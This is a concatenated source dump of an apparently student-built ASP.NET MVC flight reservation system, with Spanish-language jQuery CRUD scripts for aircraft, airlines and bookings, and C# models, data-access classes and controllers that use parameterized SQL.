html += '<td><a href="#" onclick="return MostrarPorID_AV(' + item.AvionID + ');" class="btn bg-info"><i class="fa fa-pencil" aria-hidden="true"></i> Editar</a> | <a href="#" onclick="return Delete_Avion(' + item.AvionID + ')" class="btn bg-danger"><i class="fa fa-trash" aria-hidden="true"></i> Eliminar</a></td>';
html += '</tr>';
});
$('tbody').html(html);
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para ingresar avion
function Add_Avion() {
var res = validate();
if (res == false) {
return false;
}
var avObj = {
Avion_ID: $('#AvionID').val(),
Nombre_Avion: $("#Avion").val(),
Velocidad_C: $("#velocidad_c").val(),
Altura_M: $("#altura_m").val(),
Capacidad_C: $("#capacidad_c").val(),
Cantidad_Ejecutiva: $("#cant_eje").val(),
Cantidad_Economica: $("#cant_eco").val(),
};
$.ajax({
url: "/Admin/Add_Avion",
data: JSON.stringify(avObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Avion agregado correctamente'
})
$("#modalAvion").modal('hide');
Mostrar_Avion();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Traer los datos al modal
function MostrarPorID_AV(AV_ID) {
$('#Avion').css('border-color', 'lightgrey');
$('#velocidad_c').css('border-color', 'lightgrey');
$('#altura_m').css('border-color', 'lightgrey');
$('#capacidad_c').css('border-color', 'lightgrey');
$('#cant_eje').css('border-color', 'lightgrey');
$('#cant_eco').css('border-color', 'lightgrey');
$.ajax({
url: "/Admin/MostrarPorID_AV/" + AV_ID,
type: "GET",
contentType: "application/json;charset=UTF-8",
dataType: "json",
success: function (result) {
$('#AvionID').val(result.AvionID);
$('#Avion').val(result.Nombre_Avion);
$('#velocidad_c').val(result.Velocidad_C);
$('#altura_m').val(result.Altura_M);
$('#capacidad_c').val(result.Capacidad_C);
$('#cant_eje').val(result.Cantidad_Ejecutiva);
$('#cant_eco').val(result.Cantidad_Economica);
$('#modalAvion').modal('show');
$('#btnUpdate_AV').show();
$('#btnAdd_AV').hide();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
return false;
}
//Funcion para actualizar los datos
function Update_Avion() {
var res = validate();
if (res == false) {
return false;
}
var avObj = {
AvionID: $('#AvionID').val(),
Nombre_Avion: $("#Avion").val(),
Velocidad_C: $("#velocidad_c").val(),
Altura_M: $('#altura_m').val(),
Capacidad_C: $("#capacidad_c").val(),
Cantidad_Ejecutiva: $("#cant_eje").val(),
Cantidad_Economica: $("#cant_eco").val(),
};
$.ajax({
url: "/Admin/Update_Avion",
data: JSON.stringify(avObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Avion actualizado correctamente'
})
$("#modalAvion").modal('hide');
Mostrar_Avion();
clearTextBox_AV();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para eliminar los datos
function Delete_Avion(ID) {
Swal.fire({
title: '¿Esta seguro de eliminar el registro?',
text: "Todo elemento borrado no se podra recuperar!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonText: 'Cancelar',
cancelButtonColor: '#d33',
confirmButtonText: 'Si, eliminar'
}).then((result) => {
if (result.value) {
$.ajax({
url: "/Admin/Delete_Avion/" + ID,
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Aerolinea eliminada correctamente'
})
Mostrar_Avion();
}, function(errormessage) {
alert(errormessage.responseText);
}
});
}
});
}
//Funcion para limpiar txt
function clearTextBox_AV() {
$("#AvionID").val("");
$("#Avion").val("");
$("#velocidad_c").val("");
$("#altura_m").val("");
$("#capacidad_c").val("");
$("#cant_eje").val("");
$("#cant_eco").val("");
$("#btnUpdate_AV").hide();
$("#btnAdd_AV").show();
$('#Avion').css('border-color', 'lightgrey');
$('#velocidad_c').css('border-color', 'lightgrey');
$('#altura_m').css('border-color', 'lightgrey');
$('#capacidad_c').css('border-color', 'lightgrey');
$('#cant_eje').css('border-color', 'lightgrey');
$('#cant_eco').css('border-color', 'lightgrey');
}
//Funcion para validar campos
function validate() {
var isValid = true;
if ($('#Avion').val().trim() == "") {
$('#Avion').css('border-color', 'Red');
isValid = false;
} else {
$('#Avion').css('border-color', 'lightgrey');
}
if ($('#velocidad_c').val().trim() == "") {
$('#velocidad_c').css('border-color', 'Red');
isValid = false;
} else {
$('#velocidad_c').css('border-color', 'lightgrey');
}
if ($('#altura_m').val().trim() == "") {
$('#altura_m').css('border-color', 'Red');
isValid = false;
} else {
$('#altura_m').css('border-color', 'lightgrey');
}
if ($('#capacidad_c').val().trim() == "") {
$('#capacidad_c').css('border-color', 'Red');
isValid = false;
} else {
$('#capacidad_c').css('border-color', 'lightgrey');
}
if ($('#cant_eje').val().trim() == "") {
$('#cant_eje').css('border-color', 'Red');
isValid = false;
} else {
$('#cant_eje').css('border-color', 'lightgrey');
}
if ($('#cant_eco').val().trim() == "") {
$('#cant_eco').css('border-color', 'Red');
isValid = false;
} else {
$('#cant_eco').css('border-color', 'lightgrey');
}
return isValid;
}<file_sep>/Funciones/Aerolineas.js
$(document).ready(function () {
Mostrar_Aerolineas();
$("input").val($("input").val().replace(",", "."));
});
//Funcion para mostrar tabla
function Mostrar_Aerolineas() {
$.ajax({
url: "/Admin/List_Aerolinea/",
type: "GET",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
var html = '';
$.each(result, function (key, item) {
html += '<tr>';
html += '<td>' + item.Aerolinea_ID + '</td>';
html += '<td>' + item.Nombre_Aerolinea + '</td>';
html += '<td>' + item.p + '</td>';
html += '<td>' + item.cs + '</td>';
html += '<td>' + item.g + '</td>';
html += '<td><a href="#" onclick="return MostrarPorID_AE(' + item.Aerolinea_ID + ');" class="btn bg-info"><i class="fa fa-pencil" aria-hidden="true"></i> Editar</a> | <a href="#" onclick="return Delete_Aerolinea(' + item.Aerolinea_ID + ')" class="btn bg-danger"><i class="fa fa-trash" aria-hidden="true"></i> Eliminar</a></td>';
html += '</tr>';
});
$('tbody').html(html);
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para ingresar aerolineas
function Add_Aerolinea() {
var res = validate();
if (res == false) {
return false;
}
var aeObj = {
Aerolinea_ID: $('#AerolineaID').val(),
Nombre_Aerolinea: $("#Nombre").val(),
Puntualidad: $("#Puntualidad").val(),
Calidad_Servicio: $("#Calidad_S").val(),
Gestion_Reclamo: $("#Gestion_R").val(),
};
$.ajax({
url: "/Admin/Add_Aerolinea",
data: JSON.stringify(aeObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Aerolinea agregada correctamente'
})
$("#modalAerolinea").modal('hide');
Mostrar_Aerolineas();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para traer los datos al modal
function MostrarPorID_AE(AE_ID) {
$('#Nombre').css('border-color', 'lightgrey');
$('#Puntualidad').css('border-color', 'lightgrey');
$('#Calidad_S').css('border-color', 'lightgrey');
$('#Gestion_R').css('border-color', 'lightgrey');
$.ajax({
url: "/Admin/MostrarPorID_AE/" + AE_ID,
type: "GET",
contentType: "application/json;charset=UTF-8",
dataType: "json",
success: function (result) {
$('#AerolineaID').val(result.Aerolinea_ID);
$('#Nombre').val(result.Nombre_Aerolinea);
$('#Puntualidad').val(result.p);
$('#Calidad_S').val(result.cs);
$('#Gestion_R').val(result.g);
$('#modalAerolinea').modal('show');
$('#btnUpdate_AE').show();
$('#btnAdd_AE').hide();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
return false;
}
//Funcion para actualizar
function Update_Aerolinea() {
var res = validate();
if (res == false) {
return false;
}
var aeObj = {
Aerolinea_ID: $('#AerolineaID').val(),
Nombre_Aerolinea: $("#Nombre").val(),
Puntualidad: $("#Puntualidad").val(),
Calidad_Servicio: $("#Calidad_S").val(),
Gestion_Reclamo: $("#Gestion_R").val(),
};
$.ajax({
url: "/Admin/Update_Aerolinea",
data: JSON.stringify(aeObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Aerolinea actualizada correctamente'
})
$("#modalAerolinea").modal('hide');
Mostrar_Aerolineas();
clearTextBox_AE();
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Funcion para eliminar estados
function Delete_Aerolinea(ID) {
Swal.fire({
title: '¿Esta seguro de eliminar el registro?',
text: "Todo elemento borrado no se podra recuperar!",
icon: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonText: 'Cancelar',
cancelButtonColor: '#d33',
confirmButtonText: 'Si, eliminar'
}).then((result) => {
if (result.value) {
$.ajax({
url: "/Admin/Delete_Aerolinea/" + ID,
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
const Toast = Swal.mixin({
toast: true,
position: 'top-end',
showConfirmButton: false,
timer: 3000,
timerProgressBar: true,
didOpen: (toast) => {
toast.addEventListener('mouseenter', Swal.stopTimer)
toast.addEventListener('mouseleave', Swal.resumeTimer)
}
})
Toast.fire({
icon: 'success',
title: 'Aerolinea eliminada correctamente'
})
Mostrar_Aerolineas();
}, function(errormessage) {
alert(errormessage.responseText);
}
});
}
});
}
//Funcion para limpiar txt
function clearTextBox_AE() {
$("#AerolineaID").val("");
$("#Nombre").val("");
$("#Puntualidad").val("");
$("#Calidad_S").val("");
$("#Gestion_R").val("");
$("#btnUpdate_AE").hide();
$("#btnAdd_AE").show();
$('#Nombre').css('border-color', 'lightgrey');
$('#Puntualidad').css('border-color', 'lightgrey');
$('#Calidad_S').css('border-color', 'lightgrey');
$('#Gestion_R').css('border-color', 'lightgrey');
}
//Funcion para validar campos
function validate() {
var isValid = true;
if ($('#Nombre').val().trim() == "") {
$('#Nombre').css('border-color', 'Red');
isValid = false;
} else {
$('#Nombre').css('border-color', 'lightgrey');
}
if ($('#Puntualidad').val().trim() == "") {
$('#Puntualidad').css('border-color', 'Red');
isValid = false;
} else {
$('#Puntualidad').css('border-color', 'lightgrey');
}
if ($('#Calidad_S').val().trim() == "") {
$('#Calidad_S').css('border-color', 'Red');
isValid = false;
} else {
$('#Calidad_S').css('border-color', 'lightgrey');
}
if ($('#Gestion_R').val().trim() == "") {
$('#Gestion_R').css('border-color', 'Red');
isValid = false;
} else {
$('#Gestion_R').css('border-color', 'lightgrey');
}
return isValid;
}
<file_sep>/Models/Reserva_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Reserva_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Obtener el pais
public DataSet Obtener_Pais_R()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Pais order by nombre_pais asc ", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
//Obtener ciudad
public DataSet Obtener_Ciudad_R(string id_pais)
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Ciudad where id_pais=@id_pais", con);
cmd.Parameters.AddWithValue("@id_pais", id_pais);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
//Obtener la clase del vuelo
public DataSet Obtener_Tip_Vuelo()
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select id_tip_vuelo,tipo_vuelo from Tipo_Vuelo order by tipo_vuelo asc", con);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
public List<Reserva> Mostrar_Vuelos_R(Reserva r)
{
List<Reserva> lst = new List<Reserva>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_busqueda_vuelo", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@fec_vuelo", r.Fec_Vuelo_E);
cmd.Parameters.AddWithValue("@ciudad", r.Ciudad_ID);
cmd.Parameters.AddWithValue("@tipo_vuelo", r.Tipo_Vuelo_ID);
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Reserva
{
ID_Vuelo = Convert.ToInt32(dr["id_vuelo"]),
Vuelo_COD = dr["cod_vuelo"].ToString(),
Aerolinea = dr["nombre_aerolinea"].ToString(),
Tip_Vuelo = dr["tipo_vuelo"].ToString(),
Fec_Vuelo = dr["fec_vuelo"].ToString(),
H_Salida = dr["hora_salida"].ToString(),
L_Salida = dr["lugar_salida"].ToString(),
Fec_Llegada = dr["fec_llegada"].ToString(),
L_Llegada = dr["nombre_aeropuerto"].ToString(),
H_Llegada = dr["hora_llegada"].ToString(),
Duracion = dr["duracion_vuelo"].ToString(),
Precio = dr["precio_vuelo"].ToString(),
});
}
return lst;
}
}
//Para mostrar por ID
public List<Reserva> Mostrar_Vuelos_R_T()
{
List<Reserva> lst = new List<Reserva>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_v_r", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Reserva
{
ID_Vuelo = Convert.ToInt32(dr["id_vuelo"]),
Vuelo_COD = dr["cod_vuelo"].ToString(),
Aerolinea = dr["nombre_aerolinea"].ToString(),
Tip_Vuelo = dr["tipo_vuelo"].ToString(),
Fec_Vuelo = dr["fec_vuelo"].ToString(),
H_Salida = dr["hora_salida"].ToString(),
L_Salida = dr["lugar_salida"].ToString(),
Fec_Llegada = dr["fec_llegada"].ToString(),
L_Llegada = dr["nombre_aeropuerto"].ToString(),
H_Llegada = dr["hora_llegada"].ToString(),
Duracion = dr["duracion_vuelo"].ToString(),
Precio = dr["precio_vuelo"].ToString(),
Price = Convert.ToDecimal(dr["precio_vuelo"]),
});
}
return lst;
}
}
//Ingresar reserva
public int Insert_Reserva(Reserva r)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_reserva", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id_vuelo", r.ID_Vuelo);
cmd.Parameters.AddWithValue("@login_id", r.Login_ID);
cmd.Parameters.AddWithValue("@contacto", r.Contacto);
cmd.Parameters.AddWithValue("@tel", r.Tel_Contacto);
cmd.Parameters.AddWithValue("@cant", r.Cantidad_P);
cmd.Parameters.AddWithValue("@precio_total", r.Price_Total);
cmd.Parameters.AddWithValue("@estado_r", 1);
i = cmd.ExecuteNonQuery();
}
return i;
}
public List<Reserva> Mostrar_Reservas()
{
List<Reserva> lst = new List<Reserva>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_reservas_user", con);
cmd.Parameters.AddWithValue("@login_id", Convert.ToInt32(@HttpContext.Current.Session["LoginID"].ToString()));
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Reserva
{
ID_Reserva = Convert.ToInt32(dr["id_reserva"]),
Vuelo_COD = dr["cod_vuelo"].ToString(),
Fec_Vuelo = dr["fec_vuelo"].ToString(),
H_Salida = dr["hora_salida"].ToString(),
L_Salida = dr["lugar_salida"].ToString(),
Fec_Reserva = dr["fec_reserva"].ToString(),
Price_R = dr["precio_total"].ToString(),
Estado_Reserva = dr["estado_reserva"].ToString(),
});
}
return lst;
}
}
}
}<file_sep>/Models/Vuelos.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Vuelos
{
public int Vuelo_ID { get; set; }
public string Cod_Vuelo { get; set; }
public int Avion_ID { get; set; }
public string Avion { get; set; }
public int Aerolinea_ID { get; set; }
public string Aerolinea { get; set; }
public int Tipo_Vuelo_ID { get; set; }
public string Tipo_Vuelo { get; set; }
public int Asientos_D { get; set; }
public string Fec_Vuelo { get; set; }
public string Hora_S { get; set; }
public string Lugar_S { get; set; }
public string Hora_L { get; set; }
public string Fec_Vuelo_L { get; set; }
public int Lugar_L { get; set; }
public string Lugar_Llegada { get; set; }
public string Duracion_Vuelo { get; set; }
public int Estado_Vuelo_ID { get; set; }
public string Estado_Vuelo { get; set; }
public int Login_ID { get; set; }
public string Usuario { get; set; }
public string Precio_Vuelo_V { get; set; }
public decimal Precio_Vuelo { get; set; }
public string Pais { get; set; }
}
}<file_sep>/Funciones/Reservas.js
$(document).ready(function () {
Cbo_CascadaR();
});
//Combobox en casacada
function Cbo_CascadaR() {
$("#Pais_R").change(function () {
var id = $(this).val();
$("#cboCiudadR").empty();
$.get("Enlazar_Ciudad_R", { id_pais: id }, function (data) {
var v = "<option>---Seleccione la ciudad---</option>";
$.each(data, function (i, v1) {
v += "<option value=" + v1.Value + ">" + v1.Text + "</option>";
});
$("#cboCiudadR").html(v);
});
});
}
//Busqueda por filtro
function Busqueda_Filtros() {
var rObj = {
Fec_Vuelo_E: $("#fecha_vuelo_r").val(),
Ciudad_ID: $('#cboCiudadR').val(),
Tipo_Vuelo_ID: $('#TipoV_R').val(),
};
$.ajax({
url: "/Usuario/List_Vuelos_B/",
data: JSON.stringify(rObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
var html = '';
$.each(result, function (key, item) {
html += '<tr>';
html += '<td>' + item.ID_Vuelo + '</td>';
html += '<td>' + item.Vuelo_COD + '</td>';
html += '<td>' + item.Aerolinea + '</td>';
html += '<td>' + item.Tip_Vuelo + '</td>';
html += '<td>' + item.Fec_Vuelo + '</td>';
html += '<td>' + item.H_Salida + '</td>';
html += '<td>' + item.L_Salida + '</td>';
html += '<td>' + item.Fec_Llegada + '</td>';
html += '<td>' + item.L_Llegada + '</td>';
html += '<td>' + item.H_Llegada + '</td>';
html += '<td>' + item.Duracion + '</td>';
html += '<td>' + item.Precio + '</td>';
html += '<td><a href="#" onclick="return MostrarPorID_R(' + item.ID_Vuelo + ');" class="btn btn-primary"><i class="fa fa-calendar-check-o" aria-hidden="true"></i> Reservar</a>';
html += '</tr>';
});
$('tbody').html(html);
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
//Modal para hacer la reserva
function MostrarPorID_R(vID) {
$.ajax({
url: "/Usuario/MostrarPorID_V_R/" + vID,
type: "GET",
contentType: "application/json;charset=UTF-8",
dataType: "json",
success: function (result) {
$('#ID_Vuelo_R').val(result.ID_Vuelo);
$('#lbl_COD').text("Codigo: " + result.Vuelo_COD);
$('#lbl_Price').text(result.Precio + " (Por persona)");
$('#Clase_V').text("Clase: " + result.Tip_Vuelo);
$('#Fec_V').text("Fecha salida: " + result.Fec_Vuelo);
$('#H_S').text("Hora de salida: " + result.H_Salida);
$('#L_S').text("Lugar de salida: " + result.L_Salida);
$('#L_L').text("Lugar de llegada: " + result.L_Llegada);
$('#H_L').text("Hora de llegada: " + result.H_Llegada);
$('#Duracion').text("Duracion del vuelo: " + result.Duracion);
$('#precio_u').val(result.Price);
$('#modalReserva').modal('show');
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
return false;
}
//Calcular el precio
function Calcular_Precio() {
var cant = $('#Cant_Per').val();
var price = $('#precio_u').val();
if (price % 1 == 0) {
var resultado = cant * price;
$('#price_total').val(resultado.toString().replace(/\./g, ',')+',00');
} else {
var resultado = (cant * price).toFixed(2);
$('#price_total').val(resultado.toString().replace(/\./g, ',')) ;
}
}
//Insertar reserva
function Add_Reserva() {
var rvObj = {
ID_Vuelo: $('#ID_Vuelo_R').val(),
Login_ID: $('#LoginID').val(),
Contacto: $("#contacto_e").val(),
Tel_Contacto: $("#tel_contacto").val(),
Cantidad_P: $('#Cant_Per').val(),
Price_Total: $('#price_total').val(),
};
$.ajax({
url: "/Usuario/Add_Reserva_V",
data: JSON.stringify(rvObj),
type: "POST",
contentType: "application/json;charset=utf-8",
dataType: "json",
success: function (result) {
Swal.fire(
'Excelente!',
'Su reserva ha sido procesada!',
'success'
).then(function () {
window.location.href = 'Mis_Reservas';
});
$("#modalReserva").modal('hide');
},
error: function (errormessage) {
alert(errormessage.responseText);
}
});
}
<file_sep>/Models/Pais.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Pais
{
public int Pais_ID { get; set; }
public string Nombre_Pais { get; set; }
}
}<file_sep>/Models/Estado_Vuelos_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Estado_Vuelos_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Mostrar estados
public List<Estado_Vuelo> Mostrar_Estado_Vuelos()
{
List<Estado_Vuelo> lst = new List<Estado_Vuelo>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_estados", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Estado_Vuelo
{
Estado_ID = Convert.ToInt32(dr["id_estado_vuelo"]),
Estado = dr["nombre_estado"].ToString(),
Descripcion = dr["descripcion"].ToString()
});
}
return lst;
}
}
//Insertar estados
public int Insert_Estado_Vuelo(Estado_Vuelo est)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_estados", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre", est.Estado);
cmd.Parameters.AddWithValue("@descrip", est.Descripcion);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Actualizar estados
public int Update_Estado_Vuelo(Estado_Vuelo est)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_estados", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", est.Estado_ID);
cmd.Parameters.AddWithValue("@nombre", est.Estado);
cmd.Parameters.AddWithValue("@descrip", est.Descripcion);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Eliminar estados
public int Delete_Estado_Vuelo(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_estados", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Models/Aeropuerto.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace Sistema_RV.Models
{
public class Aeropuerto
{
public int Aeropuerto_ID { get; set; }
public string Nombre_Aer { get; set; }
public int Ciudad_ID { get; set; }
public string Ciudad_N { get; set; }
public int Pais_ID { get; set; }
public string Pais_N { get; set; }
public string Direccion_Aer { get; set; }
}
}<file_sep>/Models/Aeropuerto_BD.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
namespace Sistema_RV.Models
{
public class Aeropuerto_BD
{
string cs = ConfigurationManager.ConnectionStrings["DatabaseString"].ConnectionString;
//Para mostrar combobox de ciudad
public DataSet Obtener_Ciudad(string id_pais)
{
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("Select * from Ciudad where id_pais=@id_pais", con);
cmd.Parameters.AddWithValue("@id_pais", id_pais);
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataSet ds = new DataSet();
da.Fill(ds);
return ds;
}
}
//Mostrar Aeropuerto
public List<Aeropuerto> Mostrar_Aeropuerto()
{
List<Aeropuerto> lst = new List<Aeropuerto>();
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_mostrar_aeropuerto", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
SqlDataReader dr = cmd.ExecuteReader();
while (dr.Read())
{
lst.Add(new Aeropuerto
{
Aeropuerto_ID = Convert.ToInt32(dr["id_aeropuerto"]),
Nombre_Aer = dr["nombre_aeropuerto"].ToString(),
Pais_ID = Convert.ToInt32(dr["id_pais"]),
Pais_N = dr["nombre_pais"].ToString(),
Ciudad_ID = Convert.ToInt32(dr["id_ciudad"]),
Ciudad_N = dr["nombre_ciudad"].ToString(),
Direccion_Aer = dr["direccion_aer"].ToString()
});
}
return lst;
}
}
//Insert Aeropuerto
public int Insert_Aeropuerto(Aeropuerto aer)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_insert_aeropuerto", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@nombre_aer", aer.Nombre_Aer);
cmd.Parameters.AddWithValue("@ciudad", aer.Ciudad_ID);
cmd.Parameters.AddWithValue("@direccion", aer.Direccion_Aer);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Update Aeropuerto
public int Update_Aeropuerto(Aeropuerto aer)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_update_aeropuerto", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", aer.Aeropuerto_ID);
cmd.Parameters.AddWithValue("@nombre_aer", aer.Nombre_Aer);
cmd.Parameters.AddWithValue("@ciudad", aer.Ciudad_ID);
cmd.Parameters.AddWithValue("@direccion", aer.Direccion_Aer);
i = cmd.ExecuteNonQuery();
}
return i;
}
//Delete Aeropuerto
public int Delete_Aeropuerto(int Id)
{
int i;
using (SqlConnection con = new SqlConnection(cs))
{
con.Open();
SqlCommand cmd = new SqlCommand("sp_delete_aeropuerto", con);
cmd.CommandType = System.Data.CommandType.StoredProcedure;
cmd.Parameters.AddWithValue("@id", Id);
i = cmd.ExecuteNonQuery();
}
return i;
}
}
}<file_sep>/Controllers/HomeController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using Sistema_RV.Models;
namespace Sistema_RV.Controllers
{
public class HomeController : Controller
{
Sistema_RVEntities Db = new Sistema_RVEntities();
// GET: Home
public ActionResult Index()
{
return View();
}
public ActionResult Registrar()
{
return View();
}
[HttpPost]
public ActionResult Registrar(Usuario userdet)
{
if (ModelState.IsValid)
{
Login log = new Login();
log.Username = userdet.Username;
log.Password = <PASSWORD>;
log.RolID = 2;
log.Fec_Creacion = DateTime.Today.Date;
Db.Logins.Add(log);
Db.SaveChanges();
userdet.LoginID = Db.Logins.Max(a => a.LoginID);
Db.Usuarios.Add(userdet);
Db.SaveChanges();
return RedirectToAction("../Login/Login");
}
return View();
}
public JsonResult UsuarioUnico(string Username)
{
return Json(!Db.Logins.Any(x => x.Username == Username), JsonRequestBehavior.AllowGet);
}
}
}<file_sep>/Controllers/AdminController.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data;
using System.Web.Mvc;
using Sistema_RV.Models;
namespace Sistema_RV.Controllers
{
[Authorize (Roles = "Administrador")]
public class AdminController : Controller
{
// GET: Admin
public ActionResult Admin()
{
return View();
}
Vuelos_BD bd_v = new Vuelos_BD();
public ActionResult Vuelos()
{
Enlazar_Avion();
Enlazar_Aerolinea();
Enlazar_Tip_Vuelo();
Enlazar_Pais_V();
Enlazar_Pais_V2();
Enlazar_Estado_Vuelo();
return View();
}
public void Enlazar_Estado_Vuelo()
{
DataSet ds = bd_v.Obtener_Estado_Vuelo();
List<SelectListItem> estado_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
estado_list.Add(new SelectListItem { Text = dr["nombre_estado"].ToString(), Value = dr["id_estado_vuelo"].ToString() });
}
ViewBag.Estado_V = estado_list;
}
public void Enlazar_Avion()
{
DataSet ds = bd_v.Obtener_Avion();
List<SelectListItem> avion_list = new List<SelectListItem>();
foreach (DataRow dr in ds.Tables[0].Rows)
{
avion_list.Add(new SelectListItem { Text = dr["nombre_avion"].ToString(), Value = dr["id_avion"].ToString() });
}
